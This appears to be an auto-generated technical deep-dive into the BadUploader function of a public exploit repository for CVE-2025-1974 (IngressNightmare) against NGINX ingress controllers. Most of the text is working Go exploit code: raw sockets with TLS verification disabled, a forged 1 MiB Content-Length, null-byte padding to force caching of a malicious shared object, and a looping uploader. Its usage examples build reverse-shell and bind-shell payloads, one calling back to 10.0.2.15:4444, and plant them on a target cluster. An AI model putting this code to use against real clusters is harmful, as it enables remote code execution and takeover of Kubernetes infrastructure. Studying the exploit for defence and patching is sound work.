# How the BadUploader Function in IngressNightmare Caches Malicious Payloads

> Learn how the BadUploader function in IngressNightmare caches malicious payloads by exceeding NGINX ingress controller cache thresholds. Discover the exploit details.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: deep-dive
- Published: 2026-03-01

---

**The `BadUploader` function caches payloads by opening raw TCP or TLS connections to the target NGINX ingress controller, sending a 1 MiB HTTP POST request with a padded shared-object payload that exceeds the 8KB cache threshold, forcing the ingress to store the malicious `.so` file in its cache directory.**

The `BadUploader` serves as the low-level exploitation primitive in the `esonhugh/ingressnightmare-cve-2025-1974-exps` repository. This function bypasses standard HTTP client libraries to deliver malicious shared objects directly into the NGINX ingress cache, establishing the foothold required for CVE-2025-1974 exploitation.

## Transport Layer Selection

The `BadUploader` function dynamically selects the transport protocol based on the target URL scheme. Unlike high-level HTTP clients, it establishes raw socket connections to maintain precise control over the request timing and structure.

**`BadUploadHTTP`** creates a plain TCP connection to port 80 (or the explicit port defined in the URL), while **`BadUploadHTTPS`** initiates a TLS-encrypted stream on port 443 with certificate verification disabled. This raw socket approach is essential for the cache-poisoning race condition.

```go
url, _ := urlparse.Parse(URL)
if url.Scheme == "http" {
    conn, err = BadUploadHTTP(url)
} else if url.Scheme == "https" {
    conn, err = BadUploadHTTPS(url)
}

```

Source: [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) lines 24-49

## Constructing the Malicious POST Request

The function fabricates a malformed HTTP POST request designed to trigger the ingress cache storage bug. It deliberately sets the **`Content-Length`** header to **1 MiB**, regardless of the actual payload size, ensuring the NGINX ingress controller allocates cache space for the request body.

```go
contentLength := fmt.Sprintf("%v", 1024*1024)
buffer := []byte(`POST ` + url.Path + ` HTTP/1.1\r\n` +
    `Host: ` + url.Host + `\r\n` +
    `Content-Type: application/octet-stream\r\n` +
    `Content-Length: ` + contentLength + `\r\n` +
    `Connection: keep-alive\r\n` +
    `Accept: */*\r\n\r\n`)

```

This oversized content length declaration forces the ingress cache to write the incoming data to disk in `/tmp/nginx`,
 the default cache directory, as implemented in the vulnerable NGINX ingress versions.

Source: [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) lines 71-77

## Payload Padding Strategy

The shared-object payload generated in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) often falls below the 8KB minimum threshold required to trigger cache storage. The `BadUploader` detects small payloads and pads them with null bytes to ensure the first write exceeds **8KB + 10 bytes**, guaranteeing cache persistence.

```go
if len(payload) < 8*1024 {
    padding := bytes.Repeat([]byte{0x00}, 8*1024+10-len(payload))
    payload = append(payload, padding...)
}

```

This padding ensures that even minimal `.so` files meet the size requirements for the NGINX proxy cache manager to write the file to disk, making the malicious library available for subsequent inclusion via the webhook validation endpoints.

Source: [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) lines 80-84

## Raw Socket Streaming

After establishing the connection and preparing the payload, the function executes a two-phase write operation. First, it transmits the fabricated HTTP headers, then streams the padded payload body directly over the raw socket.

```go
_, _ = conn.Write(buffer)   // Send headers
_, _ = conn.Write(payload)  // Send padded body
data, err := io.ReadAll(conn) // Read server response

```

The function reads the complete server response to confirm request acceptance, though it disregards the actual response content. This raw streaming approach eliminates HTTP client buffering that might interfere with the precise timing required for the cache race condition.

Source: [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) lines 86-90

## Continuous Execution via UploadThread

The `UploadThread` function orchestrates repeated invocations of `BadUploader` to maximize cache infiltration probability. Running in a dedicated goroutine, this infinite loop floods the target endpoint with the malicious payload until explicitly stopped.

```go
for {
    select { 
    case <-stop: 
        return 
    default:
        err := BadUploader(URL, payload)
    }
}

```

This persistent uploading strategy compensates for potential network instability and ensures the malicious `.so` file remains cached during the critical window when the admission webhook validation occurs, completing the CVE-2025-1974 exploitation chain.

Source: [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) lines 14-15

## Why "Bad"Uploader?

The function's naming reflects three critical design decisions that violate safe HTTP client practices:

**Raw Socket Implementation** bypasses standard library features like redirect following, automatic retries, and connection pooling that could interfere with the exploit timing.

**Deliberate Size Mismatch** between the declared `Content-Length` (1 MiB) and the actual transmitted bytes exploits the NGINX ingress cache manager's write-to-disk behavior for large request bodies.

**Unverified TLS** connections allow exploitation of internal cluster services regardless of certificate validity, essential for attacks against private ingress controllers.

## Practical Implementation Examples

### Single Payload Upload

This example generates a reverse-shell shared object and caches it at the target endpoint:

```go
package main

import (
    "log"
    "github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"
)

func main() {
    // Build ELF payload connecting back to 10.0.2.15:4444
    payload := nginx_ingress.NewReverseShellPayload("10.0.2.15", "4444")
    
    // Cache payload at /evil endpoint
    err := nginx_ingress.BadUploader("http://target-cluster:80/evil", payload)
    if err != nil {
        log.Fatalf("upload failed: %v", err)
    }
    log.Println("payload cached successfully")
}

```

### Continuous Cache Flooding

Deploy the persistent uploader used in full exploitation scenarios:

```go
package main

import (
    "github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"
)

func main() {
    payload := nginx_ingress.NewBindShellPayload("5555")
    stop := make(chan struct{})
    
    // Start background upload thread
    go nginx_ingress.UploadThread("http://target:80/cache", payload, stop)
    
    // After webhook validation succeeds:
    // close(stop) to terminate uploads
}

```

## Summary

- **Raw Socket Transport**: `BadUploader` uses `BadUploadHTTP` or `BadUploadHTTPS` to establish direct TCP/TLS connections, bypassing high-level HTTP clients.
- **1 MiB Content-Length**: The function declares a 1 MiB request size to trigger the NGINX ingress cache storage mechanism.
- **8KB Padding**: Payloads smaller than 8KB are padded with null bytes to meet the minimum cache write threshold.
- **Two-Phase Streaming**: Headers and padded bodies are written separately over raw sockets to control transmission timing.
- **Continuous Flooding**: `UploadThread` repeatedly invokes `BadUploader` to ensure persistent cache contamination during the exploitation window.
- **CVE-2025-1974 Chain**: This cache priming enables subsequent execution via the ingress admission controller's vulnerable validation webhook.

## Frequently Asked Questions

### What is the minimum payload size required for successful caching?

The NGINX ingress cache requires writes exceeding 8KB to trigger disk storage. The `BadUploader` automatically pads payloads smaller than 8,192 bytes with null bytes to reach **8KB + 10 bytes**, ensuring the cache manager writes the file to `/tmp/nginx` regardless of the original shared-object size.

### Why does BadUploader use raw sockets instead of a standard HTTP client?

Raw sockets provide precise control over connection timing, header formatting, and payload transmission without automatic buffering or retry logic. Standard HTTP clients might split requests unexpectedly or handle the malformed 1 MiB content-length declaration improperly, breaking the cache-storage race condition required for CVE-2025-1974 exploitation.

### How does the UploadThread function improve exploitation reliability?

`UploadThread` executes `BadUploader` in an infinite loop until a stop signal is received, continuously flooding the target cache with the malicious payload. This redundancy compensates for network latency, connection resets, or cache eviction, ensuring the `.so` file remains available during the critical webhook validation phase when the actual code execution occurs.

### Where is the malicious payload stored on the target system?

According to the exploit implementation and default NGINX ingress configurations, the padded POST request body is written to the ingress controller's cache directory, typically `/tmp/nginx`. The webhook validation vulnerability then allows loading this cached file as a shared object through the `LD_PRELOAD` mechanism or direct library injection paths.